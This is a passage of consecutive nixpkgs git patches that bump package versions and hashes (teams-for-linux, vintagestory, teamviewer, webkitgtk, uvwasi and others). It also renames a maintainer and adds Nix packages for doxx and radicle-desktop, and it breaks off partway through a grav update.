+  nix-update-script,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "doxx";
+  version = "0-unstable-2025-08-18";
+
+  src = fetchFromGitHub {
+    owner = "bgreenwell";
+    repo = "doxx";
+    rev = "5c957470de1fa937cf96cd847286e2d3ee37cbee";
+    hash = "sha256-ZCvb8FnGdpzEDqYCIFjg+hiO3OZNnZ2+dSDVLx+crTU=";
+  };
+
+  cargoHash = "sha256-1i+IAQc55HYrqJm3Hx0frphSQp7jYGa6i0eOvHVMdCI=";
+
+  postInstall = ''
+    rm $out/bin/generate_test_docs
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
+  meta = {
+    description = "Terminal document viewer for .docx files";
+    longDescription = ''
+      `doxx` is a lightning-fast, terminal-native document viewer for
+      Microsoft Word files. Built with Rust for performance and
+      reliability, it brings Word documents to your command line with
+      beautiful rendering, smart table support, and powerful export
+      capabilities.
+    '';
+    homepage = "https://github.com/bgreenwell/doxx";
+    changelog = "https://github.com/bgreenwell/doxx/blob/${finalAttrs.src.rev}/CHANGELOG.md";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ yiyu ];
+    mainProgram = "doxx";
+  };
+})

From df7231ab2690c8a38f9e48a5b92d7a277ab8c770 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Tue, 5 Aug 2025 08:53:17 -0500
Subject: [PATCH 4300/4511] teams-for-linux: 2.1.0 -> 2.1.4

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit b7f8d7b262ce2a20c6ca03a76b39d07d9929b34c)
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index bc259cf2a778..fc82e595df82 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.1.0";
+  version = "2.1.4";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-lISDy721e3bfWMl56DlIxVKN2bW8Yonc5XSVL072OQk=";
+    hash = "sha256-wzw7GXKehQCYX2RDH5G/SqhBSziVPnXiaPiLrhC2Dfc=";
   };
 
-  npmDepsHash = "sha256-QcjXJcEIi/sUJLUF+wMqhXyLYPgjZKK6n4ngyvrH9NA=";
+  npmDepsHash = "sha256-PWWEFbenAXuYKwFN+C+pQumrYJqgtfAt9EzEiaMddhQ=";
 
   nativeBuildInputs = [
     makeWrapper

From 73d828ceb6dea81e1b83de27ab36e6f359f40b13 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Sun, 10 Aug 2025 16:11:04 -0500
Subject: [PATCH 4301/4511] teams-for-linux: fix aarch64-darwin

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit a41793d96cad47fe80e670b564a120cc965cb1cc)
---
 pkgs/by-name/te/teams-for-linux/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index fc82e595df82..a6a35e113194 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -61,7 +61,8 @@ buildNpmPackage rec {
         -c.npmRebuild=true \
         -c.asarUnpack="**/*.node" \
         -c.electronDist=electron-dist \
-        -c.electronVersion=${electron_37.version}
+        -c.electronVersion=${electron_37.version} \
+        -c.mac.identity=null
 
     runHook postBuild
   '';

From 1a97788b60f833f61f4d1b41dd6d3bf94c8a53ec Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Sat, 16 Aug 2025 10:05:35 -0500
Subject: [PATCH 4302/4511] teams-for-linux: 2.1.4 -> 2.3.0

https: //github.com/IsmaelMartinez/teams-for-linux/releases/tag/v2.3.0
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 4f8978dc07418b89e80edbd7388e4e6578cb240d)
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index a6a35e113194..bf4264e540b4 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.1.4";
+  version = "2.3.0";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-wzw7GXKehQCYX2RDH5G/SqhBSziVPnXiaPiLrhC2Dfc=";
+    hash = "sha256-wbkjLPaQFfAQmWtWVZ5U6PslaO7XvuuvU1yjlgaiKwQ=";
   };
 
-  npmDepsHash = "sha256-PWWEFbenAXuYKwFN+C+pQumrYJqgtfAt9EzEiaMddhQ=";
+  npmDepsHash = "sha256-OesAv8y2FWWJsNS4ms/B65cbJ7jEwnuQLVUb8zm1oSQ=";
 
   nativeBuildInputs = [
     makeWrapper

From cb62aeba51e99b34302e43484aeef7730219354a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 28 Aug 2025 16:45:20 +0000
Subject: [PATCH 4303/4511] teams-for-linux: 2.3.0 -> 2.5.1

(cherry picked from commit ee21851d0e89f12bfac3707b3c5818f5ee140a79)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index bf4264e540b4..c1fc05d023a9 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.3.0";
+  version = "2.5.1";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-wbkjLPaQFfAQmWtWVZ5U6PslaO7XvuuvU1yjlgaiKwQ=";
+    hash = "sha256-yjMhWP/AtjFKhbvSR4RzYD6vedc+OgqPU7bTWrNqtmo=";
   };
 
-  npmDepsHash = "sha256-OesAv8y2FWWJsNS4ms/B65cbJ7jEwnuQLVUb8zm1oSQ=";
+  npmDepsHash = "sha256-wnr1MO0DN+2rKjmM75V3m1oOVczfDslOtULn/tLbRzM=";
 
   nativeBuildInputs = [
     makeWrapper

From 558845ef913de9f71c5ef5fe899fb26dd79ae635 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Thu, 4 Sep 2025 12:54:53 -0500
Subject: [PATCH 4304/4511] teams-for-linux: 2.5.1 -> 2.5.3

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit c22f0856a739e7757f0e28bf869e5576b1956994)
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index c1fc05d023a9..5e1156946ead 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.5.1";
+  version = "2.5.3";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-yjMhWP/AtjFKhbvSR4RzYD6vedc+OgqPU7bTWrNqtmo=";
+    hash = "sha256-LMYgWXzzVBaUBJnVacWPZPeNe1EasJjS5A0ouRlLxNo=";
   };
 
-  npmDepsHash = "sha256-wnr1MO0DN+2rKjmM75V3m1oOVczfDslOtULn/tLbRzM=";
+  npmDepsHash = "sha256-3OqiXbLeFnOx/tdv+A0fxtUZLYTaNuOAJwtF71cljFw=";
 
   nativeBuildInputs = [
     makeWrapper

From cd6ac0031fedb039cf726f15fc839e52e8097ef9 Mon Sep 17 00:00:00 2001
From: Jamie Magee <jamie.magee@gmail.com>
Date: Sun, 24 Aug 2025 11:22:19 -0700
Subject: [PATCH 4305/4511] vintagestory: 1.20.12 -> 1.21.0-rc.7

(cherry picked from commit e4cbe6247099d98a912e570df36ea1223bbdb315)
---
 pkgs/by-name/vi/vintagestory/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 928734a145f9..84fab6ea8e74 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -16,16 +16,16 @@
   libglvnd,
   pipewire,
   libpulseaudio,
-  dotnet-runtime_7,
+  dotnet-runtime_8,
 }:
 
 stdenv.mkDerivation rec {
   pname = "vintagestory";
-  version = "1.20.12";
+  version = "1.21.0-rc.7";
 
   src = fetchurl {
-    url = "https://cdn.vintagestory.at/gamefiles/stable/vs_client_linux-x64_${version}.tar.gz";
-    hash = "sha256-h6YXEZoVVV9IuKkgtK9Z3NTvJogVNHmXdAcKxwfvqcE=";
+    url = "https://cdn.vintagestory.at/gamefiles/unstable/vs_client_linux-x64_${version}.tar.gz";
+    hash = "sha256-uoQjsSzQQ/4JjhPCDp3VWV0NCQsM5lca7VKB8OnKtYA=";
   };
 
   nativeBuildInputs = [
@@ -76,12 +76,12 @@ stdenv.mkDerivation rec {
   '';
 
   preFixup = ''
-    makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory \
+    makeWrapper ${dotnet-runtime_8}/bin/dotnet $out/bin/vintagestory \
       --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
       --set-default mesa_glthread true \
       --add-flags $out/share/vintagestory/Vintagestory.dll
 
-    makeWrapper ${dotnet-runtime_7}/bin/dotnet $out/bin/vintagestory-server \
+    makeWrapper ${dotnet-runtime_8}/bin/dotnet $out/bin/vintagestory-server \
       --prefix LD_LIBRARY_PATH : "${runtimeLibs}" \
       --set-default mesa_glthread true \
       --add-flags $out/share/vintagestory/VintagestoryServer.dll

From c633f03176e034dbe944d8ecec74ca49ebe11c28 Mon Sep 17 00:00:00 2001
From: Alexandre Abreu <git@abreu.id>
Date: Mon, 25 Aug 2025 19:47:19 +0100
Subject: [PATCH 4306/4511] vintagestory: 1.21.0-rc.7 -> 1.21.0

(cherry picked from commit c7cc51db098be356f782fd98a08666e3fcf53f7a)
---
 pkgs/by-name/vi/vintagestory/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vintagestory/package.nix b/pkgs/by-name/vi/vintagestory/package.nix
index 84fab6ea8e74..dec4ab0b33b3 100644
--- a/pkgs/by-name/vi/vintagestory/package.nix
+++ b/pkgs/by-name/vi/vintagestory/package.nix
@@ -21,11 +21,11 @@
 
 stdenv.mkDerivation rec {
   pname = "vintagestory";
-  version = "1.21.0-rc.7";
+  version = "1.21.0";
 
   src = fetchurl {
-    url = "https://cdn.vintagestory.at/gamefiles/unstable/vs_client_linux-x64_${version}.tar.gz";
-    hash = "sha256-uoQjsSzQQ/4JjhPCDp3VWV0NCQsM5lca7VKB8OnKtYA=";
+    url = "https://cdn.vintagestory.at/gamefiles/stable/vs_client_linux-x64_${version}.tar.gz";
+    hash = "sha256-90YQOur7UhXxDBkGLSMnXQK7iQ6+Z8Mqx9PEG6FEXBs=";
   };
 
   nativeBuildInputs = [

From 46c64ae8d4b3e8fc00dc1d21b0661e30a6696407 Mon Sep 17 00:00:00 2001
From: fau <fau@faukah.com>
Date: Sun, 27 Jul 2025 14:08:38 +0200
Subject: [PATCH 4307/4511] maintainers: bloxx12 -> faukah; treewide: rename
 bloxx12 to faukah

(cherry picked from commit cd6f7a678df89f3344700d721477266f2a82b156)
---
 maintainers/maintainer-list.nix                    | 11 +++++------
 pkgs/applications/graphics/ImageMagick/default.nix |  2 +-
 pkgs/by-name/pa/pay-respects/package.nix           |  2 +-
 pkgs/by-name/rm/rmpc/package.nix                   |  2 +-
 4 files changed, 8 insertions(+), 9 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 6a9a6b717480..104c17fa284f 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -3371,12 +3371,6 @@
     githubId = 535135;
     name = "Brennon Loveless";
   };
-  bloxx12 = {
-    email = "charlie@charlieroot.dev";
-    github = "bloxx12";
-    githubId = 75451918;
-    name = "Charlie Root";
-  };
   blusk = {
     email = "bluskript@gmail.com";
     github = "bluskript";
@@ -7919,6 +7913,11 @@
     githubId = 345808;
     name = "Jakub Okoński";
   };
+  faukah = {
+    github = "faukah";
+    name = "faukah";
+    githubId = 75451918;
+  };
   fauxmight = {
     email = "nix@ivories.org";
     matrix = "@fauxmight:matrix.ivories.org";
diff --git a/pkgs/applications/graphics/ImageMagick/default.nix b/pkgs/applications/graphics/ImageMagick/default.nix
index 1c0ad490eab1..c5056d2b5f81 100644
--- a/pkgs/applications/graphics/ImageMagick/default.nix
+++ b/pkgs/applications/graphics/ImageMagick/default.nix
@@ -206,7 +206,7 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = with maintainers; [
       dotlambda
       rhendric
-      bloxx12
+      faukah
     ];
     license = licenses.asl20;
     mainProgram = "magick";
diff --git a/pkgs/by-name/pa/pay-respects/package.nix b/pkgs/by-name/pa/pay-respects/package.nix
index 08bd477cb291..b992c142cf53 100644
--- a/pkgs/by-name/pa/pay-respects/package.nix
+++ b/pkgs/by-name/pa/pay-respects/package.nix
@@ -28,7 +28,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     license = lib.licenses.agpl3Plus;
     maintainers = with lib.maintainers; [
       sigmasquadron
-      bloxx12
+      faukah
       ALameLlama
     ];
     mainProgram = "pay-respects";
diff --git a/pkgs/by-name/rm/rmpc/package.nix b/pkgs/by-name/rm/rmpc/package.nix
index 78936e33d5ec..4e3ded912718 100644
--- a/pkgs/by-name/rm/rmpc/package.nix
+++ b/pkgs/by-name/rm/rmpc/package.nix
@@ -55,7 +55,7 @@ rustPlatform.buildRustPackage rec {
     '';
     maintainers = with lib.maintainers; [
       donovanglover
-      bloxx12
+      faukah
     ];
     mainProgram = "rmpc";
     platforms = lib.platforms.linux ++ lib.platforms.darwin;

From 80302a496ae7732863a1143ffcc5833a26ead6c5 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Sat, 23 Aug 2025 16:56:53 +0200
Subject: [PATCH 4308/4511] radicle-desktop: init at 0.8.0

Co-authored-by: Matthias Beyer <mail@beyermatthias.de>
Co-authored-by: Angel J <78835633+Iamanaws@users.noreply.github.com>
(cherry picked from commit 86666a4a999c38c84bb21e0822452c680d7eae74)
---
 pkgs/by-name/ra/radicle-desktop/package.nix | 135 ++++++++++++++++++++
 1 file changed, 135 insertions(+)
 create mode 100644 pkgs/by-name/ra/radicle-desktop/package.nix

diff --git a/pkgs/by-name/ra/radicle-desktop/package.nix b/pkgs/by-name/ra/radicle-desktop/package.nix
new file mode 100644
index 000000000000..c97b2c2a3e5d
--- /dev/null
+++ b/pkgs/by-name/ra/radicle-desktop/package.nix
@@ -0,0 +1,135 @@
+{
+  fetchFromGitHub,
+  cargo-tauri,
+  fetchFromRadicle,
+  git,
+  glib,
+  gtk3,
+  fetchNpmDeps,
+  npmHooks,
+  lib,
+  libsoup_3,
+  nodejs,
+  openssh,
+  openssl,
+  pkg-config,
+  playwright-driver,
+  radicle-node,
+  rustPlatform,
+  webkitgtk_4_1,
+  wrapGAppsHook4,
+  rustfmt,
+  clippy,
+}:
+
+rustPlatform.buildRustPackage (finalAttrs: {
+  pname = "radicle-desktop";
+  version = "0.8.0";
+
+  src = fetchFromRadicle {
+    seed = "seed.radicle.xyz";
+    repo = "z4D5UCArafTzTQpDZNQRuqswh3ury";
+    rev = "aeb405aaf53b56a426ab8d68c7f89b8953683224";
+    hash = "sha256-Z/6GdXf3ag/89H8UMD2GNU4CXA8TWyX8dl8uh0CTem8=";
+    leaveDotGit = true;
+    postFetch = ''
+      git -C $out rev-parse --short HEAD > $out/.git_head
+      rm -rf $out/.git
+    '';
+  };
+
+  postPatch = ''
+    patchShebangs scripts/copy-katex-assets scripts/check-js scripts/check-rs
+
+    mkdir -p public/twemoji
+    cp -t public/twemoji -r -- ${finalAttrs.twemojiAssets}/assets/svg/*
+    : >scripts/install-twemoji-assets
+
+    substituteInPlace scripts/check-rs \
+      --replace-fail "-Dwarnings" ""
+  '';
+
+  npmDeps = fetchNpmDeps {
+    inherit (finalAttrs) src;
+    hash = "sha256-lcSNGmIv6u7DT47lOC69BRbVSK5IPiwjtdAS8aVxwqM=";
+  };
+
+  cargoHash = "sha256-z5fnwc7EjSvkyu4zTUyAvVfs6quwH2p9VFDK/TdzZJE=";
+
+  twemojiAssets = fetchFromGitHub {
+    owner = "twitter";
+    repo = "twemoji";
+    tag = "v14.0.2";
+    hash = "sha256-YoOnZ5uVukzi/6bLi22Y8U5TpplPzB7ji42l+/ys5xI=";
+  };
+
+  env = {
+    HW_RELEASE = "nixpkgs";
+    PLAYWRIGHT_BROWSERS_PATH = playwright-driver.browsers;
+    PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD = true;
+    PLAYWRIGHT_SKIP_VALIDATE_HOST_REQUIREMENTS = true;
+  };
+
+  nativeBuildInputs = [
+    cargo-tauri.hook
+    npmHooks.npmConfigHook
+    nodejs
+    pkg-config
+    wrapGAppsHook4
+  ];
+
+  buildInputs = [
+    glib
+    gtk3
+    libsoup_3
+    openssl
+    webkitgtk_4_1
+  ];
+
+  preBuild = ''
+    export GIT_HEAD=$(<$src/.git_head)
+  '';
+
+  nativeCheckInputs = [
+    git
+    openssh
+    radicle-node
+    rustfmt
+    clippy
+  ];
+
+  checkPhase = ''
+    runHook preCheck
+
+    export RAD_HOME="$PWD/_rad-home"
+    export RAD_PASSPHRASE=""
+    rad auth --alias test
+    bins="tests/tmp/bin/heartwood/$HW_RELEASE"
+    mkdir -p "$bins"
+    cp -t "$bins" -- ${radicle-node}/bin/*
+    echo -n "$HW_RELEASE" >tests/support/heartwood-release
+
+    npm run build:http
+    npm run test:unit
+    scripts/check-js
+    scripts/check-rs
+
+    runHook postCheck
+  '';
+
+  passthru.env = finalAttrs.env;
+
+  meta = {
+    description = "Radicle desktop app";
+    homepage = "https://app.radicle.xyz/nodes/seed.radicle.xyz/rad:z4D5UCArafTzTQpDZNQRuqswh3ury";
+    changelog = "https://app.radicle.xyz/nodes/seed.radicle.xyz/rad:z4D5UCArafTzTQpDZNQRuqswh3ury/tree/CHANGELOG.md";
+    license = lib.licenses.gpl3Only;
+    platforms = lib.platforms.unix;
+    maintainers = with lib.maintainers; [
+      matthiasbeyer
+      defelo
+      faukah
+    ];
+    mainProgram = "radicle-desktop";
+  };
+})

From 2e4f8874b66f62e667ed19510929695b70630a29 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 4 Sep 2025 11:25:49 +0000
Subject: [PATCH 4309/4511] teamviewer: 15.68.5 -> 15.69.4

(cherry picked from commit c82d3dadc865b8ea2f2c88e1499273ed2837c53a)
---
 pkgs/applications/networking/remote/teamviewer/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/remote/teamviewer/default.nix b/pkgs/applications/networking/remote/teamviewer/default.nix
index 2dbc038b3fb9..ff087967becf 100644
--- a/pkgs/applications/networking/remote/teamviewer/default.nix
+++ b/pkgs/applications/networking/remote/teamviewer/default.nix
@@ -30,7 +30,7 @@ mkDerivation rec {
     "out"
     "dev"
   ];
-  version = "15.67.4";
+  version = "15.69.4";
 
   src =
     let
@@ -39,11 +39,11 @@ mkDerivation rec {
     {
       x86_64-linux = fetchurl {
         url = "${base_url}/teamviewer_${version}_amd64.deb";
-        hash = "sha256-ibKRYgsvBmh18LfG29ve/yrDEFTdgsNZ3kJu8YkMbsw=";
+        hash = "sha256-GNGmqgiu4Vk0X+KndCkEoryFHG/Vv/P2xYdlzUJT1wo=";
       };
       aarch64-linux = fetchurl {
         url = "${base_url}/teamviewer_${version}_arm64.deb";
-        hash = "sha256-MDNxqmu4dJA6dWKy8EFNOy2V253+UgsYwmZ3RidQqFE=";
+        hash = "sha256-M6Q6HIp7TgtqzVduMJM1au0i4/hDUUwdIoe3q36YA/0=";
       };
     }
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");

From 86e8c3537a966193927516d7f860c7e83a39cfaa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 11 Aug 2025 14:37:02 +0000
Subject: [PATCH 4310/4511] editorconfig-checker: 3.3.0 -> 3.4.0

(cherry picked from commit b2a50922bfe9af6747b8a62b413c912d2d636024)
---
 pkgs/by-name/ed/editorconfig-checker/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ed/editorconfig-checker/package.nix b/pkgs/by-name/ed/editorconfig-checker/package.nix
index cfc462d9a84d..ff48b5980269 100644
--- a/pkgs/by-name/ed/editorconfig-checker/package.nix
+++ b/pkgs/by-name/ed/editorconfig-checker/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "editorconfig-checker";
-  version = "3.3.0";
+  version = "3.4.0";
 
   src = fetchFromGitHub {
     owner = "editorconfig-checker";
     repo = "editorconfig-checker";
     rev = "v${version}";
-    hash = "sha256-TRbUehdHzgjc87O8/kZyC9c9ouxJrs/nSN24E5BOrzU=";
+    hash = "sha256-9Z2Yu515e2R8NbGmsVD6mM9XHXalutcS++T9I0p1jbY=";
   };
 
-  vendorHash = "sha256-g7SSy55IKxfM1cjyy1n7As278HU+GdNeq1vSSM4B8GM=";
+  vendorHash = "sha256-7UyEvKA+0ll205/P69YfAFswM6fp8zBjzTfCryxMCQU=";
 
   doCheck = false;
 

From 80b7a0cf62b5addb4be2e0552a8b54cae9ebfcfc Mon Sep 17 00:00:00 2001
From: "R. RyanTM" <ryantm-bot@ryantm.com>
Date: Sat, 6 Sep 2025 09:01:21 +1000
Subject: [PATCH 4311/4511] postfix-tlspol: 1.8.16 -> 1.8.18 (#440499)

https://github.com/Zuplu/postfix-tlspol/blob/v1.8.18/CHANGELOG.md
(cherry picked from commit 1f642e9888c213af26dd21ea27bde10edc832a36)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index fb549cfde552..153438f7a340 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.16";
+  version = "1.8.18";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-Yndu5QpPxAVbkatJDa1yqkEfnJr5M5lLImtMKvt9juQ=";
+    hash = "sha256-ijFKFvdmA1ZHOc3r89yalVSO/tMy9Rzeu1VTgdZLlxI=";
   };
 
   vendorHash = null;

From d68039954931bee93c30d217e09d580308bc05b7 Mon Sep 17 00:00:00 2001
From: Bobby Rong <rjl931189261@126.com>
Date: Thu, 4 Sep 2025 22:16:17 +0800
Subject: [PATCH 4312/4511] =?UTF-8?q?webkitgtk=5F6=5F0:=202.48.5=20?=
 =?UTF-8?q?=E2=86=92=202.48.6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://webkitgtk.org/2025/09/03/webkitgtk2.48.6-released.html
https://github.com/WebKit/WebKit/compare/webkitgtk-2.48.5...webkitgtk-2.48.6
(cherry picked from commit e3cbabe863e88fb87ffa849a2eb6b3280208159f)
---
 pkgs/development/libraries/webkitgtk/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/webkitgtk/default.nix b/pkgs/development/libraries/webkitgtk/default.nix
index 9cf22fd7544c..a2d94efe3b5a 100644
--- a/pkgs/development/libraries/webkitgtk/default.nix
+++ b/pkgs/development/libraries/webkitgtk/default.nix
@@ -80,7 +80,7 @@
 # https://webkitgtk.org/2024/10/04/webkitgtk-2.46.html recommends building with clang.
 clangStdenv.mkDerivation (finalAttrs: {
   pname = "webkitgtk";
-  version = "2.48.5";
+  version = "2.48.6";
   name = "${finalAttrs.pname}-${finalAttrs.version}+abi=${
     if lib.versionAtLeast gtk3.version "4.0" then
       "6.0"
@@ -100,7 +100,7 @@ clangStdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://webkitgtk.org/releases/webkitgtk-${finalAttrs.version}.tar.xz";
-    hash = "sha256-u2TtnRz9WOi16JzK1x3TGt/tVjNrrXaVAxrQtmjhmHw=";
+    hash = "sha256-2awwNLejnCqqVn5hErMSSxWOWRp0Q55Gl0oDHdDkTiQ=";
   };
 
   patches = lib.optionals clangStdenv.hostPlatform.isLinux [

From ae008b1fd3c2e48768f39239981e5038a7d9232b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 6 Sep 2025 00:30:49 +0000
Subject: [PATCH 4313/4511] python3Packages.internetarchive: 5.4.0 -> 5.5.1

(cherry picked from commit 11ceb529cbf610cd1ea75653a043478cc0eacf6d)
---
 pkgs/development/python-modules/internetarchive/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/internetarchive/default.nix b/pkgs/development/python-modules/internetarchive/default.nix
index 7ff21a8035cf..e1a5cd92132b 100644
--- a/pkgs/development/python-modules/internetarchive/default.nix
+++ b/pkgs/development/python-modules/internetarchive/default.nix
@@ -16,7 +16,7 @@
 
 buildPythonPackage rec {
   pname = "internetarchive";
-  version = "5.4.0";
+  version = "5.5.1";
   pyproject = true;
 
   disabled = pythonOlder "3.9";
@@ -25,7 +25,7 @@ buildPythonPackage rec {
     owner = "jjjake";
     repo = "internetarchive";
     tag = "v${version}";
-    hash = "sha256-2IL4VUt958atKDqCmj6rZ9I74tBRsA42EF1F1YT433E=";
+    hash = "sha256-Og0EPdaxu4etWj+9WPSyAHlz/BNUanu2gf+6k4FzN90=";
   };
 
   build-system = [ setuptools ];

From d1c01cf0f8a22b70b0c78047dadff6efafaa91cf Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 3 Sep 2025 22:00:11 +0200
Subject: [PATCH 4314/4511] uvwasi: 0.0.21 -> 0.0.23

(cherry picked from commit 10ebcf82a8ed40d99b906b558d3d7bfc9592f1ce)
---
 pkgs/by-name/uv/uvwasi/package.nix | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/uv/uvwasi/package.nix b/pkgs/by-name/uv/uvwasi/package.nix
index a01f7f21c4cc..3fce30a0c1c6 100644
--- a/pkgs/by-name/uv/uvwasi/package.nix
+++ b/pkgs/by-name/uv/uvwasi/package.nix
@@ -11,21 +11,15 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "uvwasi";
-  version = "0.0.21";
+  version = "0.0.23";
 
   src = fetchFromGitHub {
     owner = "nodejs";
     repo = "uvwasi";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-po2Pwqf97JXGKY8WysvyR1vSkqQ4XIF0VQG+83yV9nM=";
+    hash = "sha256-+vz/qTMRRDHV1VE4nny9vYYtarZHk1xoM4EZiah3jnY=";
   };
 
-  # Patch was sent upstream: https://github.com/nodejs/uvwasi/pull/302.
-  postPatch = ''
-    substituteInPlace CMakeLists.txt \
-      --replace-fail 'DESTINATION ''${CMAKE_INSTALL_INCLUDEDIR}/uvwasi' 'DESTINATION ''${CMAKE_INSTALL_INCLUDEDIR}'
-  '';
-
   outputs = [
     "out"
   ];

From ad5ddadcb2cc2a00dc4461bf501e497297e294f4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 6 Sep 2025 06:02:31 +0000
Subject: [PATCH 4315/4511] grav: 1.7.49.2 -> 1.7.49.4

(cherry picked from commit c431b9161dbd0448235b7f90e60437ae32aa89ee)
---
 pkgs/by-name/gr/grav/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gr/grav/package.nix b/pkgs/by-name/gr/grav/package.nix
index a8ed7792743b..fb19d7b57963 100644
--- a/pkgs/by-name/gr/grav/package.nix
+++ b/pkgs/by-name/gr/grav/package.nix
@@ -6,7 +6,7 @@
 }:
 
 let
-  version = "1.7.49.2";
+  version = "1.7.49.4";
 in
 stdenvNoCC.mkDerivation {
   pname = "grav";
@@ -14,7 +14,7 @@ stdenvNoCC.mkDerivation {
 
   src = fetchzip {
